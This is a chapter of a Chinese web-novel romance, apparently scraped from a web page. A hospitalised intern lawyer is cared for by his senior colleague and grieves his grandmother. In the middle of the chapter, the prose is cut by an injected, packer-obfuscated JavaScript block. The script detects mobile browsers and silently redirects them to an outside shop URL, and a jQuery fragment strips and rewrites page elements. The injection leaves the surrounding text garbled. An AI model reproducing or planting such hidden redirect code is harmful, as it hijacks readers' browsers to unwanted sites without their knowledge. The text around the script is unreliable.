严熤最后还是没吃到余婶给做的营养餐。
他这一昏睡又是一天。
再次睁眼的时候,理智还没清醒,耳朵先听到了哒哒哒敲击键盘的声音。
他睁开有些涩然的眼睛,正好和尹观庭看过来的眼神对上。
尹观庭:“醒了?”
一如既往地平静淡然,仿佛严熤不是躺在病床上而是坐在办公室里。
严熤怔然地看着他。
尹观庭看着他呆呆的眼神,皱了皱眉:“还难受?”说着站起身,似乎想去找医生。
“不……咳咳……”严熤刚想叫住他,结果嗓子一痒咳了起来。
尹观庭走近几步,拍着背给他顺气,顺便给他背后塞了个枕头,好让他靠坐起来。
过了一会,严熤才缓了过来,他看着尹观庭,心口充斥着莫名的情绪:“师兄你……”
正对严熤病房的墙上挂钟指针指向上午十点,天霞那个并购项目时间紧任务重,他们本来打算昨天到那里后直接连夜整理,然后乘坐最早的航班回到C市,乐观的话还可以在机场睡上一两个小时。
但严熤病倒了,尹观庭一个人过去,工作任务只会更重,即使按计划回到了C市,恐怕也是一宿没睡。
尹观庭看上去依旧西装笔挺,可衣角处的褶皱,眼角的红意和眼下的青黑还是暴露了他的疲惫。
但他平静地站在严熤病床边,只字不提来去匆匆间的劳累:“你叔叔去处理家里的事了,你婶婶去帮你热饭,委托我在这看一会儿你。”
“哦。”严熤摸摸鼻子,破天荒的不知道说什么。
他的寡言让尹观庭一挑眉:“烧傻了?话怎么这么少。”
“咳,”我是病人,严熤用眼神控诉他,“天霞的事情……”
“律所不是只有你一个实习律师,”尹观庭打断他,“你现在要做的事好好休息。”
严熤其实是想问问他是不是没休息直接就来医院了,为什么不回去休息好了再来……但不知为何,一向坦坦荡荡的他竟然问不出口。
房间里一时安静了下去。
病房门推开,一位中年女性走了进来,打破了两人之间的沉默,来人看见坐起身的严熤,惊喜出声:“哎呀闪闪,你可算醒了!还有没有哪里不舒服?”
严熤冲她乖巧地笑笑:“婶,我好多了。”
余婶连连点头:“那就好那就好,饿不饿,我给你煮了鸡汤,你先喝点。”
余婶一边说一边麻利地开始给严熤准备吃食,严熤欲言又止,最后还是没说话。
然后一转头就对上了尹观庭有趣的眼神:“闪闪?”
“咳咳……”严熤又是一阵撕心裂肺的咳嗽。
尹观庭制止住手忙脚乱地余婶,仗着就在严熤身边的地理优势拍了拍他的背,还不忘问道:“叫个名字反应这么大?”
严熤咳得嗓子痛,一时间说不出话,只能有气无力地瞪他。
这个小名也不是狗蛋二剩这种恨不得藏一辈子的名字,亲朋好友这么叫他的也很多,但怎么从尹观庭嘴里叫出来就这么奇怪呢!
不过严熤也没有深思,在吃完余婶送来的饭后,他花了一点功夫总算是劝住了打算在医院陪床的余家夫妇,哄着二老回了家。
等送走余婶,严熤总算松了一口气,他往枕头上一靠,冲着尹观庭笑了笑:“谢谢师兄,我基本上没什么大事了,你要不也先回去休息吧?”
刚刚要不是尹观庭顺势答应会照看严熤,余婶肯定不放心严熤一个人住院,严熤这个道谢真心实意。
“答应的事情自然要做到,这点契约精神我还是有的,”尹观庭走到床边坐下,拿起自己的笔记本电脑放在腿上,“下午我在这办公,晚上等你好点再走,你现在可以再睡一会儿。”
“啊?”严熤脑子险些不会转了。
刚刚难道不是你配合我糊弄余婶吗?我何德何能让你一个高级合伙人放下工作来陪床啊!
尹观庭看出严熤眼里的震惊,心情莫名好起来了,但他并不打算解释,而是问起了另外一个问题:“你为什么不想你婶婶来照顾你?”
严熤从刚才的震惊中抽离出来,沉默半晌:“我麻烦他们很多了。”
尹观庭皱眉,有些不理解他的纠结。余家夫妇应该就是余畅的父母,严熤能把自己的紧急联系人登记成余畅,显然和余家关系亲近非常,而且看余家夫妇的样子,对严熤也是发自内心的疼爱,严熤这莫名其妙的歉疚感是怎么回事?
严熤显然不想多谈这个话题,起身抹了抹脸,说道:“我认真的,师兄你回去休息吧,我打算今天输完液就去办出院手续,明天可以正常上班的。”
“我还没资本家到那个程度,”尹观庭瞥他一眼,“你现在这个样子怎么出院?”
“真的没事了,我不想在医院待着,大不了之后再来输液嘛,师兄……”严熤眼巴巴地看着他,“你别跟余婶他们说,也别小看我的身体素质,感冒而已,很快就能好的。”
严熤从小深谙卖乖的门道,几乎很少有人扛得住他的软语哀求。
但尹观庭显然不是常人,尹律是那种可以在当事人撕心肺裂时仍然冷静分析问题的大佬,半点不受他影响:“你现在的身体状态没办法出院,万一晚上又发烧,你是指望我半夜再给你送一次医院吗?”
严熤:“……”
他对医院有心理阴影不假,但骨子里的涵养也确实不希望太过麻烦别人,何况在他的认知中,自己和尹观庭的关系一直都很微妙,说熟悉吧,好像也没熟悉到肆意麻烦人家的份上。
于是最终胳膊没能拗过大腿,严熤老实在医院住下了。
不知道该说先见之明还是该评价乌鸦嘴,严熤体温半夜又反复了一次,迷迷糊糊之间似乎有个人摸了摸他的额头,好像逝去多年的奶奶那样,在他生病的时候拍着他哄他入睡。
严熤一时间好像回到了乡下那栋三层别墅里,院子里种满了瓜果蔬菜,还有一只土狗蹲在门口,满头银丝的老人耐心地摇着蒲扇,炉灶上炖着他爱吃的排骨汤。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740064|145162||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
他走了几步,嗓子像被卡住一样:“奶奶……”
老人没有回答,看了看火候,用帕子垫着,把锅里的排骨倒出来,端着碗一边往屋子里走,一边喊着:“闪闪,来吃排骨。”
打开的屋门里没有一点灯光,黑黢黢地一片,老人就蹒跚着往里面走去。
严熤被一股巨大的恐慌裹挟住,忍不住喊出声:“奶奶,奶奶别走!别进去!”
可惜梦里什么声音都没有,老人直接走进了黑暗里,再也不见了踪影。
严熤从巨大的悲伤中醒了过来。
三人病房里只住了两个病人,另外一人睡得异常香甜,鼾声如雷,严熤盯着墙上的挂钟,半晌回不过神,直到一个柔软的东西贴上了他的脸,他才突然惊醒。
尹观庭站在他面前,手里拿着一张纸,上面还能看到一道水痕。
严熤:“……”
悲伤中混进了尴尬。
尹观庭没在意,皱着眉问他:“怎么哭了?”
为了不打扰到病房里的其他人,他声音压得很低,莫名比平时多出了不少磁性。
严熤这才注意到,尹观庭换下了一丝不苟的西装,穿了一件休闲POLO衫和牛仔裤,整个人不仅年轻了几岁,那股拒人于千里之外的气质消失了,整个人可亲了很多。
严熤不是第一次梦见奶奶,每一次醒过来之后他都会快速调整好情绪,不会让悲伤过度影响自己,可惜病中难免有些脆弱,他理智上知道应该让尹观庭回去休息,哪怕只是客气一下,但情感上还是不由自主地问道:“师兄,你能陪我出去走走吗?”
“……”尹观庭看了看表,凌晨三点,他想拒绝,但严熤眼睛里的水光又让他无从开口,只能伸手贴了贴严熤的额头。
嗯,温度还算正常。
“你有力气起床吗?”他问道。
严熤先是被他的动作搞得愣了一下,下意识跟着摸了摸自己的额头,听到问话才反应过来,赶紧点头:“嗯,可以的。”
于是尹观庭带着穿了外套内搭病号服的严熤,溜出了病房区,到了大厅里。
C市人民医院新修的住院大楼异常气派,每一层都有一大片观景露台,种了些郁郁葱葱的植物,落地灯昏昏暗暗地照亮一小块地方,夜晚的风一吹,枝叶簌簌,影子都显得群魔乱舞。
尹观庭深感失策,这环境怎么看都不适合病人散步吧。
严熤没注意这么多,他机械地跟着尹观庭的脚步,眼睛不知道在看哪儿,毫无焦距。
最后两人走到了露台边缘,靠着栏杆,住院大楼楼下倒是熙熙攘攘,不知道哪儿出了事情,三辆救护车停在门口,人群来来往往。
沉默地看了半天,严熤终于开口了:“师兄你不问问我吗?”
其实我刚才问了。
但尹观庭显然不会这么说出来,他看了看身边面色苍白的青年,放柔了声音:“如果你想说的话。”
“……”严熤沉默,过了一会儿,才轻声说,“我想我奶奶了。”